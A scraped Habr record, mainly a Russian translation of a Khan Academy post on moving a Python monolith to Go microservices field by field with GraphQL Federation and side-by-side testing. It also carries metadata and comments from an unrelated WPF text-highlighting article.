решил, что все таки лучше создать отдельный контрол, потому что функционал подсветки может наложить некоторые ограничения на функциональность самого TextBlock, а разруливать это проще, если от него унаследоваться.
article
1,477,926,311
{ "commentsCount": 14, "favoritesCount": 46, "readingCount": 11426, "score": 5, "votesCount": 9, "votesCountPlus": 7, "votesCountMinus": 2 }
[ "sandbox" ]
[ "net", "csharp" ]
[ "develop" ]
[ "wpf", "c#", "usercontrol", "highlighting" ]
13
null
null
{ "id": [ 9886718, 9886734, 9886752, 9887108, 9887460, 9887462, 9887464, 9887466, 9888724, 9891998, 9892044, 9892562, 9892622, 9896300 ], "parent_id": [ null, 9886718, null, 9886752, null, null, null, 9886734, 9886752, 9888724, 9887460, 9891998, 9892562, 9887464 ], "level": [ 0, 1, 0, 1, 0, 0, 0, 2, 1, 2, 1, 3, 4, 1 ], "time_published": [ 1477926791, 1477927405, 1477928188, 1477940453, 1477966367, 1477966368, 1477966370, 1477966472, 1478008440, 1478138059, 1478144998, 1478163086, 1478164022, 1478421298 ], "score": [ 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет скринов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И ссылки на GitHub</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Да, чем не устроил, например, <a href=\"http://avalonedit.net/\">AvalonEdit</a>?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Автор, выложите куда-нибудь проект. Анализировать по спойлерам крайне неудобно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Без скринов ну совсем как-то тускло.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какой смысл читать статью, если не понятно какой результат? Скрины необходимы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Извиняюсь за неудобства. Конечно выложу, но чуть позже.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">В DevExpress есть контрол с похожим функционалом (если не смущает платность/закрытость).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я очень не люблю DevExpress для WPF, потому что они предоставляют массу возможностей для говнокода (и люди любят этим пользоваться). А использовать с ними MVVM во все красе — все равно, что удалять гланды через ухо. Они занимают свойство Tag многих контролов, а что находится в DataContext — ваще приходится догадываться. Ну и оптимизацией там даже не пахнет. Интерфейс на DE тяжелый как танк СТ-1. Зато они красивые :)<br/>\r\nУ нас проект с использованием их контролов, так что очень надеюсь, что я просто не умею их правильно готовить. Однако, чем больше я про них читаю, тем меньше понимаю.<br/>\r\nКстати, скажите название контрола, который позволяет подсвечивать текст. Я как то даже не пытался его искать у них. Глянуть хочу, может какие функции украду у них.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Держите. Добавил ссылку на гитхаб и скрины</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p><code>DevExpress.XtraRichEdit.RichEditControl</code>.<br/>\r\nУ него можно задавать цвет текста и фона по указанному смещению и количеству символов.</p><br/>\r\n<p>DevExpress самому не очень нравится, но весь проект на нём, деваться некуда. Однако не смотря на тяжеловесность, интерфейс даже большим количеством данных ворочает очень живо, заметно лучше, чем стандартные контролы.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ах да. RichEditControl. <br/>\r\n<br/>\r\nНо в любом случае, целью было создать собственный контрол, который я смогу использовать и в личных целях, исходный код которого я могу дорабатывать. Например, стандартная подсветка бэкграундом меня не устраивает своей кривизной (это легко увидеть, если перевести текст в верхний или нижний регистр, тогда часть подсветки так же уйдет за текстом и будет забор из подсветок), поэтому я планирую вместо бэкграунда подсвечивать наложением полупрозрачного прямоугольника на текст. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">И скрины выложил и ссылку на гитхаб дал. <br/>\r\n</div>" ], "message_markdown": [ "Нет скринов.", "И ссылки на GitHub", "UFO just landed and posted this here", "Да, чем не устроил, например, AvalonEdit?", "Автор, выложите куда-нибудь проект. Анализировать по спойлерам крайне неудобно.", "Без скринов ну совсем как-то тускло.", "Какой смысл читать статью, если не понятно какой результат? Скрины необходимы.", "Извиняюсь за неудобства. Конечно выложу, но чуть позже.", "В DevExpress есть контрол с похожим функционалом (если не смущает платность/закрытость).", "Я очень не люблю DevExpress для WPF, потому что они предоставляют массу возможностей для говнокода (и люди любят этим пользоваться). А использовать с ними MVVM во все красе — все равно, что удалять гланды через ухо. Они занимают свойство Tag многих контролов, а что находится в DataContext — ваще приходится догадываться. Ну и оптимизацией там даже не пахнет. Интерфейс на DE тяжелый как танк СТ-1. Зато они красивые :)\nУ нас проект с использованием их контролов, так что очень надеюсь, что я просто не умею их правильно готовить. Однако, чем больше я про них читаю, тем меньше понимаю.\nКстати, скажите название контрола, который позволяет подсвечивать текст. Я как то даже не пытался его искать у них. Глянуть хочу, может какие функции украду у них.", "Держите. Добавил ссылку на гитхаб и скрины", "`DevExpress.XtraRichEdit.RichEditControl`.\nУ него можно задавать цвет текста и фона по указанному смещению и количеству символов.\nDevExpress самому не очень нравится, но весь проект на нём, деваться некуда. Однако не смотря на тяжеловесность, интерфейс даже большим количеством данных ворочает очень живо, заметно лучше, чем стандартные контролы.", "Ах да. RichEditControl.\nНо в любом случае, целью было создать собственный контрол, который я смогу использовать и в личных целях, исходный код которого я могу дорабатывать. Например, стандартная подсветка бэкграундом меня не устраивает своей кривизной (это легко увидеть, если перевести текст в верхний или нижний регистр, тогда часть подсветки так же уйдет за текстом и будет забор из подсветок), поэтому я планирую вместо бэкграунда подсвечивать наложением полупрозрачного прямоугольника на текст.", "И скрины выложил и ссылку на гитхаб дал." ], "author": [ "Николай (handicraftsman)", "Антон Шапеткин (ANTPro)", "{}", "Ivan Kochurkin (KvanTTT)", "xmetropol", "AgentFire", "TrAnd", "Анатолий (iRumba)", "redmanmale", "Анатолий (iRumba)", "Анатолий (iRumba)", "redmanmale", "Анатолий (iRumba)", "Анатолий (iRumba)" ], "children": [ [ 9886734 ], [ 9887466 ], [ 9887108, 9888724 ], [], [ 9892044 ], [], [ 9896300 ], [], [ 9891998 ], [ 9892562 ], [], [ 9892622 ], [], [] ] }
559,352
ru
https://habr.com/ru/post/559352/
Как использовать GraphQL Federation для инкрементальной миграции с монолита (Python) на микросервисы (Go)
Или как поменять фундамент старого дома, чтобы он не обвалился Лет 10 назад мы выбрали 2-ю версию Python для разработки нашей обучающей платформы с монолитной архитектурой. Но с тех пор индустрия существенно изменилась. Python 2 был официально похоронен 1 января 2020 года. В предыдущей статье мы объясняли, почему решили отказаться от миграции на Python 3. Каждый месяц нашей платформой пользуются миллионы людей. Мы пошли на определённый риск, когда решили переписать наш бэкенд на Go и изменить архитектуру. Язык Go мы выбрали по нескольким причинам: 1. Высокая скорость компиляции. 2. Экономия оперативной памяти. 3. Достаточно широкий выбор IDE с поддержкой Go. Но мы применили подход, который позволил минимизировать риск. GraphQL Federation Мы решили построить нашу новую архитектуру вокруг GraphQL Apollo Federation. GraphQL был создан разработчиками Facebook как альтернатива REST API. Федерация — это построение единого шлюза для нескольких сервисов. Каждый сервис может иметь свою GraphQL-схему. Общий шлюз объединяет их схемы, генерирует единое API и позволяет выполнять запросы для нескольких сервисов одновременно. Прежде чем, пойдём дальше, хотелось бы особо отметить следующее: 1. В отличие от REST API, у каждого GraphQL-сервера есть собственная типизированная схема данных. Она позволяет получить любые комбинации именно тех данных с произвольными полями, которые вам нужны. 2. Шлюз REST API позволяет отправить запрос только одному бэкенд-сервису; шлюз GraphQL генерирует план запросов для произвольного количества бэкенд-сервисов и позволяет вернуть выборки из них в одном общем ответе. Итак, включив шлюз GraphQL в нашу систему, получим примерно такую картину: URL картинки: https://lh6.googleusercontent.com/6GBj9z5WVnQnhqI19oNTRncw0LYDJM4U7FpWeGxVMaZlP46IAIcKfYZKTtHcl-bDFomedAoxSa9pFo6pdhL2daxyWNX2ZKVQIgqIIBWHxnXEouzcQhO9_mdf1tODwtti5OEOOFeb Шлюз (он же сервис graphql-gateway) отвечает за создание плана запросов и отправки GraphQL-запросов другим нашим сервисам — не только монолиту. Наши сервисы, написанные на Go, имеют свои собственные GraphQL-схемы. Для формирования ответов на запросы мы используем gqlgen (это GraphQL-библиотека для Go). Так как GraphQL Federation предоставляет общую GraphQL-схему, а шлюз объединяет все отдельные схемы сервисов в одну, наш монолит будет взаимодействовать с ним так же, как и любой другой сервис. Это принципиальный момент. Далее пойдёт речь о том, как мы кастомизировали сервер Apollo GraphQL, чтобы безопасно перелезть с нашего монолита (Python) на микросервисную архитектуру (Go). ## Side-by-side тестирование GraphQL «мыслит» наборами объектов и полей определённых типов. Код, который знает, что делать с входящим запросом, как и какие данные извлечь из полей, называется распознавателем (resolver). Рассмотрим процесс миграции на примере типа данных для assignments: 123 type Assignment { createdDate: Time..........} Понятно, что в реальности у нас гораздо больше полей, но для каждого поля всё будет выглядеть аналогично. Допустим, мы хотим, чтобы это поле из монолита было представлено и в нашем новом сервисе, написанном на Go. Как мы можем быть уверены, что новый сервис по запросу вернёт те же данные, что и монолит? Для этого используем подход, аналогичный библиотеке Scientist: запрашиваем данные и у монолита, и у нового сервиса, но затем сравниваем результаты и возвращаем только один из них. ## Шаг 1: Режим manual Когда пользователь запрашивает значение поля createdDate, наш GraphQL-шлюз обращается сначала к монолиту (который, напоминаю, написан на Python). На первом шаге нам нужно обеспечить возможность добавления поля в новый сервис assignments, уже написанный на Go. В файле с расширением .graphql должен лежать следующий код распознавателя (resolver): 12345 extend type Assignment key(fields: «id») { id: ID! external createdDate: Time @migrate(from: «python», state: «manual»)} Здесь мы используем Федерацию, чтобы сказать, что сервис добавляет поле createdDate к типу Assignment. Доступ к полю происходит по id. Мы также добавляем «секретный ингредиент» — директиву migrate. Мы написали код, который понимает эти директивы и создаёт несколько схем, которые GraphQL-шлюз будет использовать при принятии решения о маршрутизации запроса. В режиме manual запрос будет адресован только коду монолита. Мы должны предусмотреть эту возможность при разработке нового сервиса. Чтобы получить значение поля createdDate, мы по-прежнему можем обращаться к монолиту напрямую (в режиме primary), а можем запрашивать у GraphQL-шлюза схему в режиме manual. Оба варианта должны работать. ## Шаг 2: Режим side-by-side После того, как мы написали код распознавателя (resolver) для поля createdDate, мы переключаем его в режим side-by-side: 12345 extend type Assignment key(fields: «id») { id: ID! external createdDate: Time @migrate(from: «python», state: «side-by-side»)} И вот теперь шлюз будет обращаться и к монолиту (Python), и к новому сервису (Go). Он будет сравнивать результаты, регистрировать случаи, в которых есть различия, и возвращать пользователю результат, полученный от монолита. Этот режим действительно вселяет большую уверенность в том, что наша система в процессе миграции не будет глючить. За годы через наш фронтенд и бэкенд прошли миллионы пользователей и «килотонны» данных. Наблюдая за тем, как этот код работает в реальных условиях, мы можем убедиться, что даже редкие кейсы и случайные выбросы отлавливаются, а затем обрабатываются стабильно и корректно. В процессе тестирования мы получаем вот такие отчёты. В них акцент сделан на случаи, когда в работе монолита и нового сервиса обнаруживаются расхождения. Поначалу мы часто сталкивались с такими случаями. Со временем мы научились выявлять такого рода проблемы, оценивать их на критичность и при необходимости устранять. При работе с нашими dev-серверами мы используем инструменты, которые выделяют различия цветом. Так легче анализировать проблемы и тестировать их решения. ### А что по мутациям? Возможно, у вас возник вопрос: если мы запускаем одинаковую логику и в Python, и в Go, что произойдет с кодом, который изменяет данные, а не просто запрашивает их? В терминах GraphQL это называется мутациями (mutation). Наши side-by-side тесты не учитывают мутации. Мы рассмотрели некоторые подходы, позволяющие это сделать — они оказались более сложными, чем мы думали. Но мы разработали подход, который помогает решить саму проблему мутаций. ## Шаг 2.5: Режим сanary Если у нас есть поле или мутация, которые успешно дожили до стадии продакшна, мы включаем режим canary (канареечный деплой). 12345 extend type Assignment key(fields: «id») { id: ID! external createdDate: Time @migrate(from: «python», state: «canary»)} Поля и мутации в режиме canary будут добавлены в сервис Go для небольшого процента наших пользователей. Кроме того, канареечную схему тестируют и внутренние пользователи платформы. Это достаточно безопасный способ тестирования сложных изменений. Мы можем быстро отключить канареечную схему, если что-то не работает должным образом. Мы используем только одну канареечную схему за раз. На практике не так много полей и мутаций одновременно находятся в канареечном режиме. Так что, я думаю, проблем не будет и дальше. Это хороший компромисс, потому что схема довольно велика (более 5000 полей), а экземпляры шлюза должны хранить в памяти три схемы — primary, manual и canary. ## Шаг 3: Режим migrated На этом шаге поле createdDate должно перейти в режим migrated: 12345 extend type Assignment key(fields: «id») { id: ID! external createdDate: Time @migrate(from: «python», state: «migrated»)} В этом режиме GraphQL-шлюз отправляет запросы только новому сервису, написанному на Go. Но в любой момент мы можем посмотреть, как обработает то же запрос монолит. Так намного легче делать деплой и откатывать изменения, если что-то пойдёт не так. ## Шаг 4: Завершение миграции После успешного деплоя нам больше не нужен код монолита для этого поля, и мы удаляем из кода распознавателя (resolver) директиву @migrate: 12345 extend type Assignment key(fields: «id») { id: ID! external createdDate: Time} С этого момента выражение Assignment.createdDate шлюз будет воспринимать как получение значения поля из нового сервиса, написанного на Go. Вот такая она — инкрементальная миграция! ## И как далеко шагнули мы? Мы завершили работу над нашей инфраструктурой side-by-side тестирования только в этом году. Это позволило нам безопасно, медленно, но верно переписать кучу кода на Go. В течение года мы поддерживали высокую доступность платформы на фоне роста объёма трафика в нашей системе. На момент написания этой статьи ~ 40% наших полей GraphQL вынесены в сервисы Go. Так что, описанный нами подход хорошо зарекомендовал себя в процессе миграции. Даже после того, как проект будет завершен, мы сможем продолжать использовать этот подход для других задач, связанных с изменением нашей архитектуры. P.S. Стив Коффман делал доклад на эту тему (на Google Open Source Live). Вы можете посмотреть запись этого выступления на YouTube (или просто глянуть презентацию). * * * Облачные серверы от Маклауд быстрые и безопасные. Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
<div xmlns="http://www.w3.org/1999/xhtml">Или как поменять фундамент старого дома, чтобы он не обвалился<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/webt/cy/tn/sg/cytnsgmrhezrzyiu6fvjwkcy5dc.png" data-src="https://habrastorage.org/webt/cy/tn/sg/cytnsgmrhezrzyiu6fvjwkcy5dc.png"/></div><br/> <br/> Лет 10 назад мы выбрали 2-ю версию Python для разработки нашей обучающей платформы с монолитной архитектурой. Но с тех пор индустрия существенно изменилась. <i>Python 2 был </i><a href="http://www.smartredirect.de/redir/clickGate.php?u=IgKHHLBT&amp;m=1&amp;p=8vZ5ugFkSx&amp;t=vHbSdnLT&amp;st=&amp;s=&amp;url=https%3A%2F%2Fwww.python.org%2Fdoc%2Fsunset-python-2%2F&amp;r=https%3A%2F%2Fblog.khanacademy.org%2Fgo-services-one-goliath-project%2F"><i>официально</i></a> <i>похоронен 1 января 2020 года. В </i><a href="https://blog.khanacademy.org/go-services-one-goliath-project/"><i>предыдущей</i></a> <i>статье мы объясняли, почему решили отказаться от миграции на Python 3. </i><br/> <br/> Каждый месяц нашей платформой пользуются миллионы людей. <br/> <br/> Мы пошли на определённый риск, когда решили переписать наш бэкенд на Go и изменить архитектуру. <br/> <br/> <i>Язык Go мы выбрали по нескольким причинам:</i><br/> <br/> <ol> <li> Высокая скорость компиляции.</li> <li>Экономия оперативной памяти.</li> <li>Достаточно широкий выбор IDE с поддержкой Go.</li> </ol><br/> Но мы применили подход, который позволил минимизировать риск.<br/> <a name="habracut"></a><br/> <strong>GraphQL Federation</strong><br/> <br/> Мы решили построить нашу новую архитектуру вокруг <a href="https://www.apollographql.com/docs/federation/">GraphQL Apollo Federation</a>. GraphQL был создан разработчиками Facebook как альтернатива REST API. Федерация — это построение единого шлюза для нескольких сервисов. Каждый сервис может иметь свою GraphQL-схему. Общий шлюз объединяет их схемы, генерирует единое API и позволяет выполнять запросы для нескольких сервисов одновременно. <br/> <br/> Прежде чем, пойдём дальше, хотелось бы особо отметить следующее:<br/> <br/> <ol> <li>В отличие от REST API, у каждого GraphQL-сервера есть собственная типизированная схема данных. Она позволяет получить любые комбинации именно тех данных с произвольными полями, которые вам нужны.<br/> <br/> </li> <li>Шлюз REST API позволяет отправить запрос только одному бэкенд-сервису; шлюз GraphQL генерирует план запросов для произвольного количества бэкенд-сервисов и позволяет вернуть выборки из них в одном общем ответе.</li> </ol><br/> Итак, включив шлюз GraphQL в нашу систему, получим примерно такую картину:<br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/b11/142/e17/b11142e175f38e097a73eb301a04d8a9.png" data-src="https://habrastorage.org/getpro/habr/post_images/b11/142/e17/b11142e175f38e097a73eb301a04d8a9.png"/></div><br/> <strong>URL картинки:   </strong> <a href="https://lh6.googleusercontent.com/6GBj9z5WVnQnhqI19oNTRncw0LYDJM4U7FpWeGxVMaZlP46IAIcKfYZKTtHcl-bDFomedAoxSa9pFo6pdhL2daxyWNX2ZKVQIgqIIBWHxnXEouzcQhO9_mdf1tODwtti5OEOOFeb">https://lh6.googleusercontent.com/6GBj9z5WVnQnhqI19oNTRncw0LYDJM4U7FpWeGxVMaZlP46IAIcKfYZKTtHcl-bDFomedAoxSa9pFo6pdhL2daxyWNX2ZKVQIgqIIBWHxnXEouzcQhO9_mdf1tODwtti5OEOOFeb</a> <br/> <br/> Шлюз (он же сервис graphql-gateway) отвечает за создание плана запросов и отправки GraphQL-запросов другим нашим сервисам — не только монолиту. Наши сервисы, написанные на Go, имеют свои собственные GraphQL-схемы. Для формирования ответов на запросы мы используем <a href="https://github.com/99designs/gqlgen">gqlgen</a> (это GraphQL-библиотека для Go). <br/> <br/> Так как GraphQL Federation предоставляет общую GraphQL-схему, а шлюз объединяет все отдельные схемы сервисов в одну, наш монолит будет взаимодействовать с ним так же, как и любой другой сервис. Это принципиальный момент.<br/> <br/> Далее пойдёт речь о том, как мы кастомизировали сервер <a href="https://www.apollographql.com/docs/apollo-server/">Apollo GraphQL</a>, чтобы безопасно перелезть с нашего монолита (Python) на микросервисную архитектуру (Go).<br/> <br/> <h2>Side-by-side тестирование</h2><br/> GraphQL «мыслит» наборами объектов и полей определённых типов. Код, который знает, что делать с входящим запросом, как и какие данные извлечь из полей, называется распознавателем (resolver). <br/> <br/> Рассмотрим процесс миграции на примере типа данных для assignments:<br/> <br/> <div class="scrollable-table"><table> <tr> <td>123</td> <td>type Assignment {    createdDate: Time……….}</td> </tr> </table></div><br/> Понятно, что в реальности у нас гораздо больше полей, но для каждого поля всё будет выглядеть аналогично.<br/> <br/> Допустим, мы хотим, чтобы это поле из монолита было представлено и в нашем новом сервисе, написанном на Go. Как мы можем быть уверены, что новый сервис по запросу вернёт те же данные, что и монолит? Для этого используем подход, аналогичный библиотеке <a href="https://github.com/github/scientist">Scientist</a>: запрашиваем данные и у монолита, и у нового сервиса, но затем сравниваем результаты и возвращаем только один из них.<br/> <br/> <h2>Шаг 1: Режим manual</h2><br/> Когда пользователь запрашивает значение поля createdDate, наш GraphQL-шлюз обращается сначала к монолиту (который, напоминаю, написан на Python). <br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/765/fe3/d24/765fe3d24c48eecfdefb770497b7ec45.png" data-src="https://habrastorage.org/getpro/habr/post_images/765/fe3/d24/765fe3d24c48eecfdefb770497b7ec45.png"/></div><br/> На первом шаге нам нужно обеспечить возможность добавления поля в новый сервис assignments, уже написанный на Go. В файле с расширением .graphql должен лежать следующий код распознавателя (resolver):<br/> <br/> <div class="scrollable-table"><table> <tr> <td>12345</td> <td>extend type Assignment <a href="https://habr.com/ru/users/key/" class="user_link">key</a>(fields: «id») {    id: ID! <a href="https://habr.com/ru/users/external/" class="user_link">external</a>     createdDate: Time @migrate(from: «python», state: «manual»)}</td> </tr> </table></div><br/> Здесь мы используем Федерацию, чтобы сказать, что сервис добавляет поле createdDate к типу Assignment. Доступ к полю происходит по id. Мы также добавляем «секретный ингредиент» — директиву migrate. Мы написали код, который понимает эти директивы и создаёт несколько схем, которые GraphQL-шлюз будет использовать при принятии решения о маршрутизации запроса.<br/> <br/> В режиме manual запрос будет адресован только коду монолита. Мы должны предусмотреть эту возможность при разработке нового сервиса. Чтобы получить значение поля createdDate, мы по-прежнему можем обращаться к монолиту напрямую (в режиме primary), а можем запрашивать у GraphQL-шлюза схему в режиме manual. Оба варианта должны работать.<br/> <br/> <h2>Шаг 2: Режим side-by-side</h2><br/> После того, как мы написали код распознавателя (resolver) для поля createdDate, мы переключаем его в режим side-by-side:<br/> <br/> <div class="scrollable-table"><table> <tr> <td>12345</td> <td>extend type Assignment <a href="https://habr.com/ru/users/key/" class="user_link">key</a>(fields: «id») {    id: ID! <a href="https://habr.com/ru/users/external/" class="user_link">external</a>     createdDate: Time @migrate(from: «python», state: «side-by-side»)}</td> </tr> </table></div><br/> И вот теперь шлюз будет обращаться и к монолиту (Python), и к новому сервису (Go). Он будет сравнивать результаты, регистрировать случаи, в которых есть различия, и возвращать пользователю результат, полученный от монолита.<br/> <br/> Этот режим действительно вселяет большую уверенность в том, что наша система в процессе миграции не будет глючить. За годы через наш фронтенд и бэкенд прошли миллионы пользователей и «килотонны» данных. Наблюдая за тем, как этот код работает в реальных условиях, мы можем убедиться, что даже редкие кейсы и случайные выбросы отлавливаются, а затем обрабатываются стабильно и корректно.<br/> <br/> В процессе тестирования мы получаем вот такие отчёты. <br/> <br/> <div style="text-align:center;"><img src="https://habrastorage.org/r/w1560/getpro/habr/post_images/012/3f8/e1c/0123f8e1c5dfae660463e7f14226b2cf.png" data-src="https://habrastorage.org/getpro/habr/post_images/012/3f8/e1c/0123f8e1c5dfae660463e7f14226b2cf.png"/></div><br/> <br/> В них акцент сделан на случаи, когда в работе монолита и нового сервиса обнаруживаются расхождения. <br/> <br/> Поначалу мы часто сталкивались с такими случаями. Со временем мы научились выявлять такого рода проблемы, оценивать их на критичность и при необходимости устранять.<br/> <br/> При работе с нашими dev-серверами мы используем инструменты, которые выделяют различия цветом. Так легче анализировать проблемы и тестировать их решения.<br/> <br/> <h3>А что по мутациям?</h3><br/> Возможно, у вас возник вопрос: если мы запускаем одинаковую логику и в Python, и в Go, что произойдет с кодом, который изменяет данные, а не просто запрашивает их? В терминах GraphQL это называется мутациями (mutation).<br/> <br/> Наши side-by-side тесты не учитывают мутации. Мы рассмотрели некоторые подходы, позволяющие это сделать — они оказались более сложными, чем мы думали. Но мы разработали подход, который помогает решить саму проблему мутаций.<br/> <br/> <h2>Шаг 2.5: Режим сanary</h2><br/> Если у нас есть поле или мутация, которые успешно дожили до стадии продакшна, мы включаем режим canary (канареечный деплой).<br/> <br/> <div class="scrollable-table"><table> <tr> <td>12345</td> <td>extend type Assignment <a href="https://habr.com/ru/users/key/" class="user_link">key</a>(fields: «id») {    id: ID! <a href="https://habr.com/ru/users/external/" class="user_link">external</a>     createdDate: Time @migrate(from: «python», state: «canary»)}</td> </tr> </table></div><br/> Поля и мутации в режиме canary будут добавлены в сервис Go для небольшого процента наших пользователей. Кроме того, канареечную схему тестируют и внутренние пользователи платформы. Это достаточно безопасный способ тестирования сложных изменений. Мы можем быстро отключить канареечную схему, если что-то не работает должным образом.<br/> <br/> Мы используем только одну канареечную схему за раз. На практике не так много полей и мутаций одновременно находятся в канареечном режиме. Так что, я думаю, проблем не будет и дальше. Это хороший компромисс, потому что схема довольно велика (более 5000 полей), а экземпляры шлюза должны хранить в памяти три схемы — primary, manual и canary.<br/> <br/> <h2>Шаг 3: Режим migrated</h2><br/> На этом шаге поле createdDate должно перейти в режим migrated:<br/> <br/> <div class="scrollable-table"><table> <tr> <td>12345</td> <td>extend type Assignment <a href="https://habr.com/ru/users/key/" class="user_link">key</a>(fields: «id») {    id: ID! <a href="https://habr.com/ru/users/external/" class="user_link">external</a>     createdDate: Time @migrate(from: «python», state: «migrated»)}</td> </tr> </table></div><br/> В этом режиме GraphQL-шлюз отправляет запросы только новому сервису, написанному на Go. Но в любой момент мы можем посмотреть, как обработает то же запрос монолит. Так намного легче делать деплой и откатывать изменения, если что-то пойдёт не так.<br/> <br/> <h2>Шаг 4: Завершение миграции</h2><br/> После успешного деплоя нам больше не нужен код монолита для этого поля, и мы удаляем из кода распознавателя (resolver) директиву @migrate:<br/> <br/> <div class="scrollable-table"><table> <tr> <td>12345</td> <td>extend type Assignment <a href="https://habr.com/ru/users/key/" class="user_link">key</a>(fields: «id») {    id: ID! <a href="https://habr.com/ru/users/external/" class="user_link">external</a>     createdDate: Time}</td> </tr> </table></div><br/> С этого момента выражение Assignment.createdDate шлюз будет воспринимать как получение значения поля из нового сервиса, написанного на Go.<br/> <br/> Вот такая она — инкрементальная миграция!<br/> <br/> <h2>И как далеко шагнули мы?</h2><br/> Мы завершили работу над нашей инфраструктурой side-by-side тестирования только в этом году. Это позволило нам безопасно, медленно, но верно переписать кучу кода на Go. В течение года мы поддерживали высокую доступность платформы на фоне роста объёма трафика в нашей системе. На момент написания этой статьи ~ 40% наших полей GraphQL вынесены в сервисы Go. Так что, описанный нами подход хорошо зарекомендовал себя в процессе миграции.<br/> <br/> Даже после того, как проект будет завершен, мы сможем продолжать использовать этот подход для других задач, связанных с изменением нашей архитектуры.<br/> <br/> <strong>P.S. </strong>Стив Коффман делал доклад на эту тему (на <a href="https://opensourcelive.withgoogle.com/events/go/watch?talk=session4"><i>Google Open Source Live</i></a>). Вы можете посмотреть <a href="https://youtu.be/je9bC3DZ6tg">запись</a> этого выступления на YouTube (или просто глянуть <a href="https://docs.google.com/presentation/d/15f0LlALhhuzLkHpiWlHlsakMUCKFPwNeeU8kQYk7U_g/edit?usp=sharing">презентацию</a>).<br/> <br/> <hr/><br/> Облачные серверы от <a href="https://macloud.ru/?partner=4189mjxpzx">Маклауд</a> быстрые и безопасные.<br/> <br/> Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!<br/> <br/> <a href="https://macloud.ru/?partner=4189mjxpzx&amp;utm_source=habr&amp;utm_medium=perevod&amp;utm_campaign=grigri"><img src="https://habrastorage.org/r/w1560/webt/et/1a/yp/et1aypandyuamqprsz3m2ntm4ky.png" data-src="https://habrastorage.org/webt/et/1a/yp/et1aypandyuamqprsz3m2ntm4ky.png"/></a></div>
owlofmacloud
Kevin Dangoor
https://blog.khanacademy.org/incremental-rewrites-with-graphql/
Или как поменять фундамент старого дома, чтобы он не обвалился<br> <br> <div style="text-align:center;"><img src="https://habrastorage.org/webt/cy/tn/sg/cytnsgmrhezrzyiu6fvjwkcy5dc.png"></div><br> <br> Лет 10 назад мы выбрали 2-ю версию Python для разработки нашей обучающей платформы с монолитной архитектурой. Но с тех пор индустрия существенно изменилась. <i>Python 2 был </i><a href="http://www.smartredirect.de/redir/clickGate.php?u=IgKHHLBT&amp;m=1&amp;p=8vZ5ugFkSx&amp;t=vHbSdnLT&amp;st=&amp;s=&amp;url=https%3A%2F%2Fwww.python.org%2Fdoc%2Fsunset-python-2%2F&amp;r=https%3A%2F%2Fblog.khanacademy.org%2Fgo-services-one-goliath-project%2F" rel="nofollow noopener noreferrer"><i>официально</i></a> <i>похоронен 1 января 2020 года. В </i><a href="https://blog.khanacademy.org/go-services-one-goliath-project/" rel="nofollow noopener noreferrer"><i>предыдущей</i></a> <i>статье мы объясняли, почему решили отказаться от миграции на Python 3. </i><br> <br> Каждый месяц нашей платформой пользуются миллионы людей. <br> <br> Мы пошли на определённый риск, когда решили переписать наш бэкенд на Go и изменить архитектуру. <br> <br> <i>Язык Go мы выбрали по нескольким причинам:</i><br> <br> <ol> <li> Высокая скорость компиляции.</li> <li>Экономия оперативной памяти.</li> <li>Достаточно широкий выбор IDE с поддержкой Go.</li> </ol><br> Но мы применили подход, который позволил минимизировать риск.<br>
Или как поменять фундамент старого дома, чтобы он не обвалился Лет 10 назад мы выбрали 2-ю версию Python для разработки нашей обучающей платформы с монолитной архитектурой. Но с тех пор индустрия существенно изменилась. Python 2 был официально похоронен 1 января 2020 года. В предыдущей статье мы объясняли, почему решили отказаться от миграции на Python 3. Каждый месяц нашей платформой пользуются миллионы людей. Мы пошли на определённый риск, когда решили переписать наш бэкенд на Go и изменить архитектуру. Язык Go мы выбрали по нескольким причинам: 1. Высокая скорость компиляции. 2. Экономия оперативной памяти. 3. Достаточно широкий выбор IDE с поддержкой Go. Но мы применили подход, который позволил минимизировать риск.
article
1,622,030,401
{ "commentsCount": 6, "favoritesCount": 35, "readingCount": 6796, "score": 19, "votesCount": 23, "votesCountPlus": 21, "votesCountMinus": 2 }
[ "translation" ]
[ "macloud", "python", "programming", "gae" ]
[ "develop" ]
[ "python", "go", "микросервисы", "миграция", "vds", "vps", "быстрые серверы" ]
6
null
null
